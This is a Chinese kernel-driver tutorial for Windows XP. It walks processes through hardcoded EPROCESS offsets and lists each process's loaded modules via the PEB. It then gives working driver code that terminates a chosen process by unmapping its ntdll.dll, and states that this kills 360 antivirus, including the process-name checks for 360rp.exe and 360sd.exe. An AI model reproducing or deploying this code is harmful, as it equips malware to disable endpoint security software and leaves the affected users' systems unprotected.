环境: VS2008中配置WDK7600驱动开发环境
包含文件 #include <ntifs.h> #include <WinDef.h> 需要在 #include <ntddk.h> 之前 那么就不会出错
程序大体流程:
PsGetCurrentProcess() 得到本进程EPROCESS
通过EPROCESS +0x174 得到进程名
通过EPROCESS +0x84 得到进程ID
PsLookupProcessByProcessId 通过进程ID 得到 这个ID的 EPROCESS
MmGetSystemRoutineAddress 得到 PsGetProcessPeb的函数地址
PsGetProcessPeb 通过进程的 EPROCESS得到 进程的PEB 然后再得到PEB的LDR
保存APC状态 (Asynchronous procedure call,异步程序调用)KeStackAttachProcess(EPROCESS , &KAPC);
通过ldr 得到 内存加载链表InMemoryOrderModuleList 通过它循环遍历模块
pListEntryStart = pListEntryEnd = pPebLdrData->InMemoryOrderModuleList.Flink
pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pListEntryStart,LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
pLdrDataEntry 包含有模块的全路径 然后循环得到
detach进程 KeUnstackDetachProcess
另外就是 PsLookupProcessByProcessId 得到 EPROCESS会增加引用计数 这里减少即可
ObDereferenceObject(EPROCESS),EPROCESS=null;
通过EPROCESS +0x88 得到下一个EPROCESS的ActiveProcessLinks
通过上面这个结构 - 0x88 就得到这个EPROCESS指针
然后循环进行遍历进程
typedef PPEB (__stdcall *PFNPsGetProcessPeb)(PEPROCESS pEProcess); typedef ULONG PPS_POST_PROCESS_INIT_ROUTINE; typedef struct _PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; } PEB, *PPEB; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; DWORD SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; DWORD Flags; WORD LoadCount; WORD TlsIndex; LIST_ENTRY HashLinks; PVOID SectionPointer; DWORD CheckSum; DWORD TimeDateStamp; PVOID LoadedImports; PVOID EntryPointActivationContext; PVOID PatchInformation; }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;
主要功能代码:
NTSTATUS ScanModulebypid(ULONG ulProcessId) { //获取进程的EPROCESS结构指针 NTSTATUS nStatus; PEPROCESS pEProcess = NULL; nStatus = PsLookupProcessByProcessId((HANDLE)ulProcessId, &pEProcess); if (!NT_SUCCESS(nStatus)) { return STATUS_UNSUCCESSFUL; } //查找函数地址 UNICODE_STRING uniFunctionName; RtlInitUnicodeString(&uniFunctionName, L"PsGetProcessPeb"); //函数指针 PFNPsGetProcessPeb PsGetProcessPeb = NULL; PsGetProcessPeb = (PFNPsGetProcessPeb)MmGetSystemRoutineAddress(&uniFunctionName); if (PsGetProcessPeb == NULL) { KdPrint(("Get PsGetProcessPeb Failed~! ")); return STATUS_UNSUCCESSFUL; } //获取PEB指针 PPEB pPEB = NULL; pPEB = PsGetProcessPeb(pEProcess); if (pPEB == NULL) { KdPrint(("Get pPEB Failed~! ")); return STATUS_UNSUCCESSFUL; } //保存APC状态 APC,即Asynchronous procedure call,异步程序调用 KAPC_STATE KAPC ={0}; //附加到进程 KeStackAttachProcess(pEProcess, &KAPC); //是否已经附加到进程 BOOLEAN bIsAttached = FALSE; bIsAttached = TRUE; //指向LDR //LDR数据结构 PPEB_LDR_DATA pPebLdrData = NULL; pPebLdrData = pPEB->Ldr; //链表头节点、尾节点 PLIST_ENTRY pListEntryStart = NULL; PLIST_ENTRY pListEntryEnd = NULL; //头节点、尾节点 pListEntryStart = pListEntryEnd = pPebLdrData->InMemoryOrderModuleList.Flink; //开始遍历_LDR_DATA_TABLE_ENTRY //LDR链表入口 PLDR_DATA_TABLE_ENTRY pLdrDataEntry = NULL; do { //通过_LIST_ENTRY的Flink成员获取_LDR_DATA_TABLE_ENTRY结构 pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pListEntryStart,LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); //输出DLL全路径 KdPrint(("%wZ ", &pLdrDataEntry->FullDllName)); pListEntryStart = pListEntryStart->Flink; }while(pListEntryStart != pListEntryEnd); KdPrint((" ")); //Detach进程 if (bIsAttached != FALSE) { KeUnstackDetachProcess(&KAPC); } //减少引用计数 if (pEProcess != NULL) { ObDereferenceObject(pEProcess); pEProcess = NULL; } return STATUS_SUCCESS; } NTSTATUS ScanProcessModule() { PEPROCESS eprocess,Firsteprocess; ULONG ulProcessName; ULONG ulProcessID; KdPrint(("start ScanProcessModile ")); //__asm int 3; eprocess = PsGetCurrentProcess(); Firsteprocess = eprocess; if (eprocess == 0) { KdPrint(("PsGetCurrentProcess error")); return STATUS_SUCCESS; } while (eprocess != NULL) { ulProcessName = (ULONG)eprocess + 0x174; // +0x174 ImageFileName : [16] UChar ulProcessID = *(ULONG*)((ULONG)eprocess + 0x84);// +0x084 UniqueProcessId : Ptr32 Void KdPrint(("processname = %s,processid = %d ",ulProcessName,ulProcessID)); //if (!strcmp( (char*)(ULONG*)ulProcessName ,"notepad.exe")) //{ ScanModulebypid(ulProcessID); //} // +0x088 ActiveProcessLinks : _LIST_ENTRY eprocess = (PEPROCESS)(*(ULONG*)((ULONG)eprocess + 0x88) - 0x88);//-0x88是得到 eprocess结构 if (eprocess == Firsteprocess || (*(LONG*)( (LONG)eprocess + 0x84) ) <0)//如果链表搜索完毕或者进程PID小于0则结束 { break; } } return STATUS_SUCCESS; }
删除指定进程:
方法1 卸载掉 指定进程的NTDLL.dll 模块 (这里以 notepad.exe 为例子)
extern "C" NTSTATUS MmUnmapViewOfSection( IN PEPROCESS Process, IN ULONG BaseAddress ); NTSTATUS ScanProcessModule() { PEPROCESS eprocess,Firsteprocess; ULONG ulProcessName; ULONG ulProcessID; KdPrint(("start ScanProcessModile ")); //__asm int 3; eprocess = PsGetCurrentProcess(); Firsteprocess = eprocess; if (eprocess == 0) { KdPrint(("PsGetCurrentProcess error")); return STATUS_SUCCESS; } PEPROCESS eprocess2; while (eprocess != NULL) { ulProcessName = (ULONG)eprocess + 0x174; // +0x174 ImageFileName : [16] UChar ulProcessID = *(ULONG*)((ULONG)eprocess + 0x84);// +0x084 UniqueProcessId : Ptr32 Void KdPrint(("processname = %s,processid = %d ",ulProcessName,ulProcessID)); if (!strcmp( (char*)(ULONG*)ulProcessName ,"notepad.exe")) { PsLookupProcessByProcessId((HANDLE)ulProcessID,&eprocess2); UNICODE_STRING uniPsGetProcessPeb; RtlInitUnicodeString(&uniPsGetProcessPeb,L"PsGetProcessPeb"); PFNPsGetProcessPeb PsGetProcessPebAddr = (PFNPsGetProcessPeb)MmGetSystemRoutineAddress(&uniPsGetProcessPeb); if (PsGetProcessPebAddr == NULL) { KdPrint(("Get PsGetProcessPeb Failed~! ")); return STATUS_UNSUCCESSFUL; } PPEB pPEB = NULL; pPEB = PsGetProcessPebAddr(eprocess2); if (pPEB == NULL) { KdPrint(("Get pPEB Failed~! ")); return STATUS_UNSUCCESSFUL; } //保存APC状态 APC,即Asynchronous procedure call,异步程序调用 KAPC_STATE KAPC ={0}; //附加到进程 KeStackAttachProcess(eprocess2, &KAPC); //是否已经附加到进程 BOOLEAN bIsAttached = FALSE; bIsAttached = TRUE; //指向LDR //LDR数据结构 PPEB_LDR_DATA pPebLdrData = NULL; pPebLdrData = pPEB->Ldr; //链表头节点、尾节点 PLIST_ENTRY pListEntryStart = NULL; PLIST_ENTRY pListEntryEnd = NULL; //头节点、尾节点 pListEntryStart = pListEntryEnd = pPebLdrData->InMemoryOrderModuleList.Flink; //开始遍历_LDR_DATA_TABLE_ENTRY //LDR链表入口 PLDR_DATA_TABLE_ENTRY pLdrDataEntry = NULL; do { //通过_LIST_ENTRY的Flink成员获取_LDR_DATA_TABLE_ENTRY结构 pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(pListEntryStart,LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); //输出DLL全路径 KdPrint(("%wZ ", &pLdrDataEntry->FullDllName)); UNICODE_STRING uniNtdll; RtlInitUnicodeString(&uniNtdll,L"ntdll.dll"); if (RtlEqualUnicodeString(&pLdrDataEntry->BaseDllName,&uniNtdll,TRUE)) { MmUnmapViewOfSection(eprocess2,(ULONG)(pLdrDataEntry->DllBase)); KdPrint(("卸载 ntdll.dll 完成")); } pListEntryStart = pListEntryStart->Flink; }while(pListEntryStart != pListEntryEnd); //Detach进程 if (bIsAttached != FALSE) { KeUnstackDetachProcess(&KAPC); } //减少引用计数 if (eprocess2 != NULL) { ObDereferenceObject(eprocess2); eprocess2 = NULL; } } // +0x088 ActiveProcessLinks : _LIST_ENTRY eprocess = (PEPROCESS)(*(ULONG*)((ULONG)eprocess + 0x88) - 0x88);//-0x88是得到 eprocess结构 if (eprocess == Firsteprocess || (*(LONG*)( (LONG)eprocess + 0x84) ) <0)//如果链表搜索完毕或者进程PID小于0则结束 { break; } } return STATUS_SUCCESS; }
可以成功 删除 XP 下 360 杀毒软件等·························
!strcmp( (char*)(ULONG*)ulProcessName ,"360rp.exe") || !strcmp( (char*)(ULONG*)ulProcessName ,"360sd.exe")